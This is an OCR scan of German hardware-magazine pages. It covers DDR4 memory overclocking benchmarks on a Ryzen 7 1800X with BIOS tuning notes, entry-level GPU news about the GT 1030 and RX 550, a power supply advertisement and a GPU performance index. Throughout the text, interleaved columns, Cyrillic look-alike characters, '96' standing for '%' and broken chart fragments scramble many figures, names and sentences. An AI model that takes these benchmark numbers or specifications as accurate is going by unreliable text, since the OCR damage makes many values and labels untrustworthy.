4x8 B-Die 3200/14 1T SR 72,8 (-18 %) 4x8 CFR 3066/16 1T SR 5,58 (+1 96) 
2x16 D9TNW 3066/16 1T DR 73,6 (-17 %) 2x8 B-Die 3200/14 1T SR 5,57 (+1 96) 
4x8 CFR 3066/16 1T SR 74,1 (-16 96) 2x16 D9TNW 3066/16 1T DR 5,57 (+1 96) 
4x8 AFR 3200/16 1T SR 74,7 (-16 %) 2x8 B-Die 3600/16 2T SR 5,55 (+1 96) 
4x8 B-Die 2133/11 1T SR 88,4 4x8 B-Die 2133/11 1T SR 5,50 
System: Ryzen 7 1800X, Asus Crosshair VI Hero (BIOS 9945), Auto-Subtimings, MSI GTX Nanosek System: Ryzen 7 1800X, Asus Crosshair VI Hero (BIOS 9945), Auto-Subtimings, MSI GTX Fps 
1080 Gaming X 8G; Win 10 64 Bit, Geforce 378.78 WHQL (HQ) Bemerkungen: Die Bisa 1080 Gaming X 8G; Win 10 64 Bit, Geforce 378.78 WHQL (HQ) Bemerkungen: RAM- Bee 
DDR4-3600-Konfiguration liegt in Front, abgeschlagen ist nur das DDR4-2133-Setup. Tuning lohnt sich kaum, bereits DDR4-2133 ist flott genug. 
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deren Einsatz bei Taktfrequenzen 
ab DDR4-2666 und IT Command 
Rate möglich ist. Im deaktivierten 
Zustand ist in unserem Fall sowohl 
die Leistung als auch die Stabilität 
leicht erhöht, zum Absolvieren al- 
ler Spiele-Benchmark reicht es aber 
dennoch nicht. Nicht wundern: 
Der Gear Down Mode funktioniert 
nur mit einer geraden CAS-Latenz. 
Ein BIOS-Wert von beispielsweise 
15 wird also nicht übernommenm, 
sondern auf 16 aufgerundet. 


Wir wechseln als Nächstes auf die 
Flare-X-Riegel und stellen fest, dass 
das Finden stabiler RAM-Konfigu- 
rationen nicht immer leicht fällt, 
da identische BIOS-Einstellungen 
in Abhängigkeit vom Memory- 
Training-Prozess beim Systemstart 


sZ UEFI BIOS Utility - Advanced Mode 
05/24/2017 . | 

Wawa. 11,21 gish 
Main 


[5] Myfavorite(F3) 


My Favorites Extreme Tweaker 


Тейгӣѕс SM 
TrdrdSd 5M 
TrdrdDd SM 

Tcke SM 
ProcODT SM 
Cmd2T 

Gear Down Mode 
Power Down Enable 
RttNom 

RttWr 

RttPark 
CPU SOC Voltage 

+ VDDSOC Voltage Override 


DRAM Voltage 


zu unterschiedlichen Ergebnissen 
führen können. Ein Beispiel: Nach- 
dem wir für das Testsieger-Kit aus 
der Marktübersicht in dieser Ausga- 
be eine DDR4-3600-Konfiguration 
gefunden haben, welche Aida64, 
7-Zip, х264 HD und die vier Test- 
szenen in Assassin's Creed: Unity, 
Battlefield 1, Hitman und The Wit- 
cher 3 stabil bewältigt, wagen wir 
mit den identischen BIOS-Einstel- 
lungen einen Versuch mit den vom 
Hersteller für Ryzen optimierten 
Flare-X-Modulen. Das System fährt 
trotz Übertaktung auf DDR4-3600 
problemlos hoch. 


Nach einer Änderung an der Com- 
mand Rate und dem Gear Down 
Mode schlägt allerdings der Boot- 
Vorgang fehl. Nun mag das Sys- 


Po Qfan Сомго) — ES Tuning Waard(Ftt) ` [7] Hot 


Monitor Boot Tool Exit 


Advanced 


m Ws Auto 


СНА OH 
: Auto 


OM о 
4 Auto 


CHA сн 
F = Auto 


53.3 ohm 


96 ohm 
80 ohm 
68.6 ohm 
60 ohm 

| 53.3 ohm 
48 ohm 
43.6 ohm 
40 ohm 
36.9 ohm 
34.3 ohm 


L— 
1455v. | Manual mode - 
1.16250 


1.42000 


Bei Stabilitätsproblemen sind die prozessorseitige On-Die-Termination und die für 
den RAM-Controller relevante SOC-Spannung zwei sehr mächtige Optionen, die 
mehrere hundert Megahertz Speichertakt zusätzlich bringen können. 


tem auch nach einem Reset („Safe 
Boot“) nicht mehr mit DDR4-3600- 
Takt starten, wenn wir die beiden 
Optionen wieder zurück auf „Auto“ 
setzen. Selbst der Startversuch mit 
einer auf DDR4-3200 reduzierten 
Taktfrequenz scheitert, das System 
wechselt automatisch in den DDR4- 
2400-Modus. Die Lösung: Einfach 
das mit den Trident-Z-Riegeln ge- 
speicherte BIOS-Profil laden und 
die Taktfrequenz auf DDR4-3200 
setzen, dann startet das System mit 
dieser Taktrate wieder. Direkt im 
Anschluss ist auch wieder der Be- 
trieb bei DDR4-3600 möglich. 


Wir verschärfen die Bedingungen 
und stecken beide mit Samsung B- 
Die bestückten G.Skill-Speichersets 
ins System. DDR4-3600 erzielen 
wir mit Vollbestückung nicht mehr, 
doch das ist gar nicht schlimm: Wie 
die Benchmark-Ergebnisse zeigen, 
liefern die vier Riegel bei DDR4- 
3200 (14-14-14-34 1T) nahezu im- 
mer eine überlegene Leistung, der 
Effekt der zwei zusátzlichen Ranks 
zeigt sich besonders stark in 7-Zip. 


Die bisherigen Ergebnisse stimmen 
uns optimistisch, wir wechseln auf 
SK-Hynix-basierte Module. Die für 
DDR4-3200 ausgelegten G.Skill-Rie- 
gel mit AFR-Chips verkraftet das Ry- 
zen-Setup trotz Vollbestückung mit 
32 GiByte. Da das System sowohl 
mit einer „ProcODT“-Einstellung 
von 40 als auch 53,3 Ohm startet, 
nutzen wir für unsere Messungen 
48 Ohm, um nach oben und unten 
etwas Sicherheitsabstand zu haben. 


Mit Corsairs 32 GiByte fassendem 
RGB-LED-Quartett scheitern wir 
zwar knapp am DDR4-3200-Be- 


trieb, mit DDR4-3066 übertreffen 
wir aber die Herstellervorgabe 
von DDR4-3000. Diese Module be- 
vorzugen eine niedrige Impedanz 
für die CPU-On-Die-Termination: 
Mit 53,3 Ohm gelingt uns maximal 
der Start mit DDR4-2666-Takt, mit 
48 oder 43,6 Ohm scheitern wir 
an DDR4-3066. Erst mit 40 Ohm 
läuft der Boot-Vorgang einwandfrei 
durch, ein Absenken bis auf 34,3 
Ohm bringt kein Taktplus mehr. 


Da auch das zweite SK-Hynix-Kit 
mit vier 8-GiByte-Modulen zufrie- 
denstellend läuft, wechseln wir auf 
die nächste Herausforderung: Un- 
ter der Haube der roten Ballistix- 
Sport-Kühler stecken die Micron- 
Bausteine DITNW, es handelt sich 
um Dual-Rank-Sticks mit einer er- 
höhten Kapazität von jeweils 16 Gi- 
Byte. Die für lediglich DDR4-2666 
spezifizierten Riegel konnten wir 
auf unserem Skylake-Testsystem auf 
DDR4-3600 bewegen, mit Ryzen er- 
reichen wir immerhin DDR4-3066. 
Die Ballistix-DIMMs benötigen im 
Gegensatz zu den Corsair-Sticks 
eine möglichst hohe Impedanz: 
Mit 53,3 Ohm ist bereits bei DDR4- 
2666 Schluss, wir führen die Bench- 
marks bei 80 Ohm durch. 96 Ohm 
ermöglichen uns sogar den DDR4- 
3200-Betrieb, wir beschränken uns 
dabei aber auf einen kurzen Funk- 
tionstest. Damit zeigen die beiden 
16-GiByte-Riegel ein ähnliches Ver- 
halten wie das (nicht in den Bench- 
marks aufgeführte) Dual-Rank-Kit 
G.Skill F4-3200C16D-16GTZ mit 2 
x 8 GiByte in Dual-Rank-Bauweise 
mit Samsung E-Die. 


Fazit: Die Optimierungen von AMD 
tragen Früchte, RAM-OC fällt inzwi- 
schen spürbar leichter. (sw) 


AIDA64 Cache & Memory Benchmark AIDA64 Cache & Memory Benchmark 


Read Write Copy 


28056 MB/s 53517 MB/s 36117 MB/s 


Latency Read Write Copy Latency 


54435 MB/s | 53338 MB/s 48226 MB/s 69.4 ns | 


Метогу Метогу 


Memory Bus 1775.9 MHz | DRAM:FSB Ratio 
Dual Channel DDR4-3552 SDRAM (16-16-16-48 CR1) 
AMD X370, AMD K17 SCH, AMD K17 IMC 


Asus Crosshair VI Hero 


Memory Bus 
Memory Type 
Chipset 
Motherboard 


Memory Type 
Chipset 
Motherboard 


TwrwrDd_SM TwrwrDd SM 


Trdrdsc SM 


Trdrdsc SM 


TrdrdSd SM 


TrdrdSd EM 


TrdrdDd 5м TrdrdDd 5м 


Lösen lässt sich das Problem durch manuelles Fixieren des Subtimings , Trdrdsc SM" 
auf 1. Negative Auswirkungen auf die Stabilitát sind uns nicht aufgefallen. 


Bei hohen Taktfrequenzen über DDR4-3200 kónnen eine auffállig niedrige Lese- und 
reduzierte Kopierrate auftreten, auch in Spielen sinkt die Leistung. 
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3.900 MHz Kerntakt, 1.280 x 720, Details „Ultrahoch”, kein Post-Processing 


4x8 B-Die 3200/14 1T SR 121,0 (+6 %) 
4х8 АЕК 3200/16 1T SR 119,7 (+5 %) 
4x8 CFR 3066/16 1T SR 119,6 (+5 %) 
2x16 D9TNW 3066/16 1T DR 118,4 (+4 96) 
2x8 B-Die 3200/14 1T SR Eod es 116,7 (+2 96) 
2x8 B-Die 3600/16 2T SR rdrdSC1 EX ru 116,0 («2 96) 
4x8 B-Die 2133/11 1T SR ТО EN] 114,1 (Basis) 
2x8 B-Die 3600/16 2T SR Xd БЕШ 112,9 (-1 9) 
System: Ryzen 7 1800X, Asus Crosshair VI Hero (BIOS 9945), Auto-Subtimings, MSI GTX 


1080 Gaming X 8G; Win 10 64 Bit, Geforce 378.78 WHQL (HQ) Bemerkungen: Die Un- 
terschiede sind klein, doch tendenziell sind Ranks wichtiger als möglichst viel Megahertz. 


Мі 2 Fps 


» Besser 


3.900 MHz Kerntakt, 1.280 x 720, Details „Ultra”, kein Post-Processing 


4x8 B-Die 3200/14 1T SR a 218,9 (+13 %) 
4х8 AFR 3200/16 1T SR MEME 214,0 (+11 96) 
2x8 B-Die 3600/16 2T SR rdrdSC1 pog 210,0 (+9 96) 
4x8 CFR 3066/16 1T SR ott" 209,3 (+9 96) 
2x8 B-Die 3200/14 1T SR egt v 208,9 (+8 96) 
2x16 D9TNW 3066/16 1T DR gg! 206,3 (+7 96) 
2х8 B-Die 3600/16 2T SR ert, 201,5 (+4 96) 
4x8 B-Die 2133/11 1T SR DEE l 192,9 (Basis) 
System: Ryzen 7 1800X, Asus Crosshair VI Hero (BIOS 9945), Auto-Subtimings, MSI GTX 


1080 Gaming X 8G; Win 10 64 Bit, Geforce 378.78 WHQL (HQ) Bemerkungen: Battle- 
field 1 skaliert gut mit mehr Takt, die zusätzlichen Ranks helfen dem DDR4-3200-Setup. 


MiMi @ Fps 


» Besser 


Bestseller 


PURE POWER 10 


Die neue Generation der erfolgreichsten Netzteilserie von be quiet!. Das 


Pure Power 10 bietet die bestmögliche Kombination von Ausstattung, Leistung Y 


und Qualität zu einem äußerst attraktiven Preis. Die neuen Modelle mit 6 
DC/DC-Technologie sorgen für eine starke Spannungsregulierung, sogar bei 
heftigen Cross-Loads. 


= Zwei starke 12V-Leitungen und Multi-GPU Unterstützung 

2 Active Clamp + SR Technologie für stabilen Betrieb (700-400W) 
= AuBerordentlich leiser Betrieb 

a 80PLUS® Silber und Bronze Effizienz (von bis zu 91%) 

= Modular und non modular: 700 - 300W 


Weitere Informationen auf bequiet.com 


Erhältlich bei: alternate.de - arlt.de - bora-computer.de · 
computeruniverse.net - conrad.de · hiq24.de - e-tec.at - 
mindfactory.de - notebooksbilliger.de - reichelt.de 


caseking.de 
galaxus.ch 


DDRA4-RAM geprüft | SPECIAL 


3.900 MHz Kerntakt, 1.280 x 720, max. Details, kein AA/SSAO 


4x8 B-Die 3200/14 1T SR Egg [li 89,0 (+13 96) 
4х8 АЕК 3200/16 1T SR st 86,3 (+9 90) 
2x16 D9TNW 3066/16 1T DR Eug 85,8 (+9 96) 
2x8 B-Die 3600/16 2T SR rdrdSC1 =p 84,8 (+7 96) 
2x8 B-Die 3200/14 1T SR === 8 84,8 (+7 96) 
4x8 CFR 3066/16 1T SR gn 84,4 (+7 96) 
2x8 B-Die 3600/16 2T SR ani" 83,6 (+6 96) 
4x8 B-Die 2133/11 1T SR |t [li 79,0 (Basis) 
System: Ryzen 7 1800X, Asus Crosshair VI Hero (BIOS 9945), Auto-Subtimings, MSI GTX 


1080 Gaming X 8G; Win 10 64 Bit, Geforce 378.78 WHQL (HQ) Bemerkungen: Die 
DDR4-2133-Lösung ist abgeschlagen, sowohl mehr Takt als auch Ranks helfen. 


Мі @ Fps 


» Besser 


3.200 MHz Kerntakt, 1.280 x 720, max. Details, kein Post-Processing 


4x8 B-Die 3200/14 TT SR 6569 126,2 (+19 %) 
4x8 AFR 3200/16 1T SR n 121,6 (+14 96) 
2x8 B-Die 3600/16 2T SR rdrdSC1 F 120,1 (+13 %) 
2x16 D9TNW 3066/16 1T DR ЗЇН 119,9 (+13 96) 
2x8 B-Die 3200/14 1T SR Es 119,3 (+12 96) 
4x8 CFR 3066/16 1T SR Em 117,2 (+10 96) 
2х8 B-Die 3600/16 2T SR НОО В 113,2 (+6 96) 
4x8 B-Die 2133/11 TT SR ww 106,4 (Basis) 
System: Ryzen 7 1800X, Asus Crosshair VI Hero (BIOS 9945), Auto-Subtimings, MSI GTX 


1080 Gaming X 8G; Win 10 64 Bit, Geforce 378.78 WHQL (HQ) Bemerkungen: Mit 19 
Prozent zeigt The Witcher 3 die größte Leistungsdifferenz aller Spiele. 


Mimil @ Fps 


» Besser 


®) 


GERMANY’S NO. 1 
| PSU MANUFACTURER 


be 


*GfK Panelmarkt, 2007-2017 


Grafikkarten 


Grafikkarten, Kühler und Treiber 


www.pcgameshardware.de/grafikkarte 


Einsteiger-Modelle werden modernisiert 


Bilder: EVGA, Inno 3D, Gigabyte, MSI, Asus 


Nachdem AMD kürzlich mit der 
Radeon RX 550 vorgelegt hat, unter- 
bietet Nvidia diese nun im Preis. 


igentlich richtet sich Nvidias 

Geforce GT 1030 nicht expli- 
zit an Spieler. Doch sie bietet für 
weniger als 80 Euro den günstigs- 
ten Einstieg, sofern eine aktuelle, 
DX12-taugliche Grafikkarte gefragt 
ist. AMDs bereits in einer früheren 
Ausgabe vorgestellte RX 550 kostet 
circa 5 bis 10 Euro mehr, klingt laut 
Datenblatt aber insbesondere dank 
128-Bit-Speicheranbindung interes- 
santer. Dazu kommt der Verkaufs- 
start der teureren RX 560, welche 
leistungsmäßig oberhalb der RX 
460 angesiedelt ist, aber preislich 
bereits dreistellig unterwegs ist. 


GP108 respektive Lexa heißen die 
beiden Chips der Einsteigermo- 
delle. Ersterer auf Basis der Pascal- 
Architektur erreicht im Boost etwa 
zwei Drittel der GTX-1050-Leistung, 
wird aber vom schmalen Speicher- 
interface gebremst. Die Radeon- 
GPU kommt auf 56 Prozent der RX 


460 als nächstgrößerer Karte. Mit 
ihrem rechnerischen Vorsprung vor 
der RX 460 dürfte die RX 560 die 
GTX 1050 schlagen und sich bei der 
Geforce GTX 1050 Ti einordnen. 


Da die GTX 1050 etwas flotter im 
PCGH-Parcours arbeitet als die RX 
460, dürfte das Rennen zwischen 
GT 1030 und RX 550 spannend 
werden - eigene Benchmark-Werte 
müssen wir leider schuldig blei- 
ben, denn Testmuster erreichten 
die Redaktion nicht mehr recht- 
zeitig für diese Ausgabe. Wenn 
Sie sich einen Test der Karten 
wünschen, melden Sie sich unter 
leserpost@pcgameshardware.de 
oder im Forum von www.pcghx.de. 


Die eigentliche Zielgruppe von GT 
1030 und RX 550 sind Aufsteiger 
von integrierter Grafik und Auf 
rüster, die ihrem HTPC moderne 
Medienwiedergabe inklusive 4K, 
HEVC und VP9 beibringen wollen. 
Die Hardware bringt hier alles mit, 
allerdings ist Netfli K-DRM noch 
ein (Treiber-)Problem. (cs) 


ige Grafikkarten: Spezifikationen i 


Modell Geforce GTX 1050 Ti Geforce GTX 1050 Geforce GT 1030 Radeon RX 550 Radeon RX 460 Radeon RX 560 
Codename GP107-400-A1 GP107-300-A1 GP108-300-A1 Polaris P12 , Lexa" Polaris P11 „Baffin” Polaris P21 „Baffin” 
Unterstützte Schnittstellen DX12 FL12. 1, DX12 FL12. 1, DX12 FL12. 1, DX12 FL12 0, DX12 FL12. 0, DX12 FL12_0, 
(APIs) Vulkan, Open GL 4.5, Vulkan, Open GL 4.5, Vulkan, Open GL 4.5, Vulkan, Open GL 4.5, Vulkan, Open GL 4.5, | Vulkan, Open GL 4.5, 
Open CL 1.2 Open CL 1.2 Open CL 1.2 Open CL 2.0 Open CL 2.0 Open CL 2.0 
Fertigung 14 nm 14 nm 14 nm 14 nm 14 nm 14 nm 
Chipfläche 132 mm? 132 mm? unbekannt unbekannt 124 mm? 124 mm? 
Shader-/SIMD-/Textureinheiten 768/6/48 640/5/40 384/3/24 512/8/32 896/14/56 1.024/16/64 
Raster-Endstufen (ROPs) 32 32 8 16 16 16 
GPU-Basistakt (Megahertz) 1.291 1.354 1.227 1.100 1.090 1.175 
GPU-Boost-Takt (Megahertz) 1.392 1.455 1.468 1.183 1.200 1.275 
Rechenleistung SP/DP (Mrd./s) 2.138/69 1.862/58 1.127/35 1.211/76 2.150/134 2.635/165 
Speicheranbindung (Bit) 128 128 64 128 128 128 
Speicherübertragung (GB/s) 112 112 48 112 112 112 
Speichermenge (MiByte) 4.096 2.048 2.048 2.048 oder 4.096 2.048 oder 4.096 2.048 oder 4.096 
PCI-E-Stromanschlüsse Nicht benótigt Nicht benótigt Nicht benótigt Nicht benótigt I.d.R. nicht nötig 1 x 6-Pol 
Typischer Verbrauch (Watt) 75 Watt TDP 75 Watt TDP 30 Watt TDP 50 Watt TBP; 65 Watt TDP 75 Watt TDP 80 Watt TBP 
Circa-Preis 135 Euro 100 Euro 75 Euro 85/100 Euro (2/4 GiB) | 95/110 Euro (2/4 СІВ) | 105/115 Euro (2/4 GiB) 
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GPU-Leistungsindex: Top 20 


E Gesamt B FHD E WQHD E UHD 


| Preis-Leistungs-Index (РІМ): Mehr ist besser 


BESSER > | Normierte Leistung 


Titan Xp 


PLV: 32,4 % 


Geforce 
GTX 1080 Ti 


Takt: 1.582 MHz, 11 GT/s 

RAM: 11 GiB GDDR5X 

Preis: Ca. 680 € (-70) 
PLV: 61,2 % 


Titan X 

(Pascal) 

Takt: 1.531 MHz, 10 GT/s 
RAM: 12 GiB GDDR5X 


Preis: Nicht lieferbar 
РМ: – 


Geforce 
GTX 1080 


Takt: 1.733 MHz, 10 GT/s 

RAM: 8 GiB GDDR5X 

Preis: Ca. 490 € (-10) 
PLV: 70,5 % 


Geforce 
GTX 1070 


Takt: 1.683 MHz, 8 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 390 € (+0) 
PLV: 72,6 % 


Geforce 
GTX 980 Ti 


Takt: 1.075 MHz, 7 GT/s 

RAM: 6 GiB GDDR5 

Preis: Ca. 480 € (+0) 
PLV: 54,6 % 


Radeon 
R9 Fury X 


Takt: 1.050 MHz, 1 GT/s 

RAM: 4 GiB HBM 

Preis: Ca. 540 € (+60) 
PLV: 46,4 % 


Radeon 
R9 390X 


Takt: 1.050 MHz, 6 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 280 € (-70) 
PLV: 76,8 % 


Geforce 
GTX 980 


Takt: 1.216 MHz, 7 GT/s 

RAM: 4 GiB GDDR5 

Preis: Ca. 380 € (+0) 
РІМ: 55,4 % 


Radeon 
RX 580/8G 


Takt: 1.340 MHz, 8 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 260 € (+0) 
PLV: 80,7 % 


100% 


г o° 
к rrna °: 
=ewwaw—wvaiK0 % 


А05: 51/43/40 
ACS: 91/67/38 
ВІ: 216/157/90 
C3: 128/83/42 


CW: 95/87/55 
DMD: 123/88/49 
DM: 200/176/89 
TES: 245/224/140 


F1: 112/97/68 


FCP: 108/85/53 
GTA: 72/57/34 


LLL °. 


F1: 112/95/64 
FO4: 156/106/54 
FCP: 105/81/49 
GTA: 72/56/32 


AOS: 48/42/38 
ACS: 90/65/37 
BI: 207/147/84 
C3: 121/78/38 


CW: 95/83/51 
DMD: 119/84/46 
DM: 200/171/87 
TES: 237/214/130 


943% 


МЕС: 117/85/47 
РОД: 164/115/59 OW: 247/168/88 


КОТ: 111/81/56 
ТТР: 119/95/61 


TWW: 66/64/35 
ЕСК: 128/82/39 
W3: 137/97/54 
COP: 54,3 


Geforce 

GTX 1060/6G 

Takt: 1.709 MHz, 8 GT/s 

RAM: 6 GiB GDDR5 

Preis: Ca. 250 € (-10) 
PLV: 82 % 


МЕС: 115/81/44 TWW: 66/60/32 


OW: 236/159/82 


ROT: 104/74/42 
ТТР: 113/90/57 


ECR: 118/75/36 
W3: 132/93/51 
COP: 51,0 


Radeon 
RX 480/8G 


Takt: 1.266 MHz, 7 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 260 € (+30) 
РІМ: 77,6 % 


LEE 
EE 
RN 5:7 o 


МЕС: 114/81/44 TWW: 66/60/32 


AOS: 47/41/37 
ACS: 89/63/36 
BI: 204/145/83 
C3: 121/78/39 


CW: 95/83/50 
DMD: 117/83/45 
DM: 200/169/85 FCP: 103/80/48 
TES: 237/213/129 GTA: 71/56/32 


F1: 110/94/64 


FO4: 156/106/54 — OW: 229/157/81 


ROT: 102/73/41 
TTP: 112/89/56 


ECR: 119/75/36 
W3: 130/92/50 
COP: 50,6 


Radeon 
R9 390 


Takt: 1.000 MHz, 6 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 280 € (+10) 
PLV: 71,3 % 


КНН 75: 9: 
Ни GA 


С. 


=ww—arah—=pas 


А05: 44/35/30 
ACS: 77154129 
BI: 170/121/63 
C3: 95/60/30 


CW: 94/78/38 
DMD: 99/68/36 
DM: 194/136/68 
TES: 227173101 


F1: 98/82/53 
F04: 130/85/43 
FCP: 87/66/39 
СТА: 63/47/25 


А05: 39/29/27 Р1: 81/66/42 
АСЅ: 64/44/24 
ВІ: 143/98/50 


C3: 77/48/24 


CW: 93/62/30 
DMD: 79/53/28 РО4: 105/69/35 
DM: 165/106/53 FCP: 68/51/30 
TES: 197/143/84 СТА: 53/38/20 


МЕС: 97/68/36 


OW: 176/120/63 


ROT: 84/59/31 


TWW: 65/48/26 
ECR: 94/59/27 
W3: 109/76/40 


Radeon 
RX 480/4G 
Takt: 1.266 MHz, 8 GT/s 


RAM: 4 GiB GDDR5 
Preis: Ca. 210 € (+20) 


OW: 141/95/50 
ROT: 66/45/24 


ЕСА: 76/47/22 
W3: 87/59/31 


Д 0j 
TTP: 105/79/47 СОР: 44,9 PIV: 90,3% 
Radeon 
T RX 570/4G 
Takt: 1.245 MHz, 7 GT/s 
МЕС: 77/53/28 ТУЛА: 58/39/21 RAM: 4 GiB GDDR5 


Preis: Ca. 180 € (-20) 


—a 0°. 


==——w 5/1 % 
GD 


RN 7 


А05: 31/24/22 CW: 91/58/28 F1: 75/62/40 
АСЅ: 54/39/21 DMD: 73/51/27 F04: 99/66/34 
ВІ: 143/99/51 DM: 151/96/47 СР: 60/47/29 


Д 0j 
TTP: 69/54/34 СОР: 41,1 PIV: 100% 
Radeon 
R9 290 
Takt: 947 MHz, 5 GT/s 
MEC: 69/48/20 TWW: 55/38/20 RAM: 4 GiB GDDR5 


OW: 134/90/47 
ROT: 62/44/24 


ECR: 72/45/21 
W3: 79/54/29 


Preis: Nicht lieferbar 
РМ: – 


C3: 74/47/23 TES: 177/130/77 СТА: 45/34/19 ТТР: 66/52/32 СОР: 37,5 

Гг н 

Г ЖО Geforce 
[.—————ÉÀL GTX 1060/3G 
ww Takt: 1.709 MHz, 8 GT/s 
AOS: 34/28/26 CW: 85/59/30 F1: 72/60/41 MEC: 33/24/11 TWW: 46/31/7 RAM: 3 GiB GDDR5 


ACS: 49/30/13 
Bl: 150/101/53 


DMD: 73/50/23 
DM: 177/115/57 


F04: 81/56/29 
FCP: 58/47/31 


OW: 126/88/47 
ROT: 49/37/22 


ECR: 57/38/19 
W3: 75/54/31 


Preis: Ca. 180 € (-5) 


Д D 
C3: 71/47124 TES: 132/104/66 GTA: 42/31/14 ТТР: 68/55/35 COP: 59,8 PL SE 
г пя 
р Radeon 
Г —„ RX 470/86 
Gw wwrsn 5 Takt: 1.205 MHz, 6,6 GT/s 
A0S: 29/23/22 CW: 78/51/25 F1: 61/51/34 МЕС: 50/35/19 TWW: 33/24/13 RAM: 8 GiB GDDR5 


ACS: 39/27/15 
Bl: 124/80/40 


DMD: 62/42/22 
DM: 135/88/44 


F04: 66/45/23 
FCP: 50/40/26 


OW: 99/68/34 
ROT: 44/33/19 


ECR: 46/31/15 
W3: 54/38/21 


Preis: Ca. 240 € (+20) 


Д 0j 
C3:58/38/19 TES: 121/94/59 GTA: 37/28/15 ТТР: 68/53/31 СОР: 56,1 PIM: 734% 
RN 5 
u pon 
— gy : ° GTX 970 
г ЕС Takt: 1.178 MHz, 7 GT/s 
AOS: 28/22/20 CW: 77/46/22 F1: 66/53/34 МЕС: 35/27/13 TWW: 45/30/15 RAM: 3,5+0,5 GiB GDDR5* 


ACS: 48/32/14 
Bl: 123/80/39 


DMD: 63/43/21 
DM: 128/81/39 


FO4: 83/54/27 
FCP: 50/39/23 


OW: 115/76/39 
ROT: 38/22/13 


ECR: 58/36/17 
W3: 67/45/24 


Preis: Ca. 200 € (-10) 


A 0 
C3: 60/37/18 TES: 146/106/61 СТА: 40/29/15 TTP: 53/41/25 СОР: 31,6 PLV: 86,7 % 
| TIL 
Г nsrassa. ° Radeon 
[CIE RX 470/4G 
[S -..-,LILLLLLZ Takt: 1.205 MHz, 6,6 GT/s 
А05: 29/2322 CW: 66/43/20 F1: 67/55/34 МЕС: 56/37/19 TWW: 37/26/15 RAM: 4 GiB GDDR5 


ACS: 42/28/15 
Bl: 116/73/35 
C3: 52/33/16 


DMD: 63/42/21 
DM: 154/97/46 
TES: 127/92/53 


F04: 67/43/20 
FCP: 47/37/23 
GTA: 36/26/13 


OW: 105/70/36 
ROT: 45/33/19 
TTP: 49/38/24 


ECR: 47/29/14 
W3: 63/43/23 
COP: 48,7 


Preis: Ca. 190 € (+0) 
PLV: 90,6 % 


инини c° % 


ww AB 
msj. 
HK 

AOS: 29/22/21 CW: 74/45/21 — Fl:60/48/30 
ACS: 47/32115 — DMD:58/39/0 FO4: 75/49/25 
BI: 113/72/36 DM: 117/74/36 ЕСР: 49/37/21 
С3:56/35/17 TES: 146/103/59 СТА: 40/28/15 


MEC: 56/37/15 
OW: 105/69/35 
ROT: 43/31/17 
TTP: 49/38/24 


TWW: 41/27/14 
ECR: 53/33/15 
W3: 61/41/22 
COP: 32,3 


ВЭД 


I 15307 
I 2,67 
[EIE GEM 

AOS: 28/22/21 ^ ОМ:65/41/20 F1:63/52/33 
АС: 412714 — DMD:61/41/20 — FO4:65/41/20 
BI111/70/34 DM: 145/91/44 РСР: 46/36/22 
C3:51/32/15 ТЕ5:118/87/51 GTA: 35/25/13 


МЕС: 53/36/19 
OW: 102/69/35 
ROT: 44/31/18 
ТТР: 47/37/23 


TWW: 35/24/13 
ЕСА: 44/28/13 
W3: 60/41/22 
СОР: 46,3 


== :. ° 


N 157 % 
ЕІ 
UU 
AOS:27/2201 CW: 74148123 — Fl:55/46/30 
ACS: 35/25/14 ОМО: 58/40/21 “FO4:63/43/22 
BI: 114/73/37 ОМ: 124/80/40 ЕСР: 46/37/23 
C3:54/36/18 TES: 111/85/53 СТА: 34/26/14 


МЕС: 47/3218 
0W: 93/64/33 
ROT: 40/30/17 
TTP: 52/42/26 


TWW: 29/21/12 
ECR: 43/29/14 
W3: 48/33/18 
СОР: 54,8 


ннн KER 


С ° 
и 0.3 % 
mwa 
AOS:28/]1/20 ^ CW:G2/40/19 — F1:62/51/32 
ACS: 39/24/12 — DMD:58/39/18 ЕО4: 63/40/19 
BI: 108/68/33 ОМ: 143/90/43 ЕСР: 45/35/21 
C3:49/31/14 TES:117/85/50 СТА: 34/24/12 


МЕС: 30/22/14 
OW: 101/67/34 
ROT: 42/30/17 
TTP: 46/36/23 


TWW: 34/23/7 
ECR: 43/27/13 
W3: 59/40/21 
COP: 46,3 


LEE 


sa. 
C 5 % 
Gw 4.1 % 


А05: 26/20/19 CW: 60/37/18 F1: 60/49/30 


МЕС: 29/20/12 TWW: 31/21/7 


ACS: 38/2519 DMD: 56/37/18 FO4:61/39/18 OW: 94/63/32 ECR: 42/26/13 
BI: 103/65/31 DM: 134/83/40 ЕСР: 42/33/20 ROT: 39/28/15 W3: 55/37/20 
C3:47/304 TES: 114/81/48 — GTA;33/23/2 ТТР: 44/34121 COP: 40,5 
ss ~ °, 
E A1, 

БЕ 

и 34,3 % 

A0S:25/20/19  CW:69/43/22 — Fl:514227 МЕС: 28/20/11 TWW: 27/20/11 


ACS: 33/21/11 
Bl: 106/68/34 
C3: 50/33/16 


DMD: 52/36/17 
DM: 114/74/36 
TES: 103/79/49 


F04: 57/39/20 
РСР: 42/34/22 
СТА: 32/23/8 


0W: 85/57/29 
ROT: 38/28/16 
TTP: 48/38/24 


ECR: 40/26/13 
W3: 45/32/17 
СОР: 48,9 


г Шш 


==—rr s % 
Gw ws 4 
Gw 
AOS: 28/21/14 СМ: 70/43/20 
ACS: 45/2815  DMD:51/32/15 
BI: 108/68/34 ОМ: 105/69/26 
C3: 53/33/16 TES: 134/96/54 


F1: 57/46/28 
F04: 70/45/23 
FCP: 46/34/20 
GTA: 38/27/6 


MEC: 31/20/9 
OW: 96/63/32 
ROT: 21/15/9 

TTP: 46/36/22 


TWW: 37/15/6 
ECR: 50/30/13 
W3: 57/39/20 
СОР: 31,0 


ВЕЕ 


N PE 
I BED 
Gw 
AOS: 25119718 CW: 56/35/17 

ACS: 36/2412 М0: 53/35/18 

BI: 98/61/30 DM: 128/80/38 

C3: 45/28/13 TES: 107/78/45 


F1: 57/47/29 

F04: 58/37/17 
FCP: 41/32/20 
GTA: 31/22/11 


MEC: 47/32/17 
OW: 89/60/31 
ROT: 38/28/16 
TTP: 42/33/20 


TWW: 30/20/10 
ECR: 40/25/12 
W3: 53/36/19 
COP: 39,3 


I C ҥш 


° 
НЕНИ 37,5% 
UU 
AOS:24/18/17 — CW:64138/18 
ACS: 40/26/11 DMD: 51/34/17 
BI: 106/67733 DM: 106/66/32 
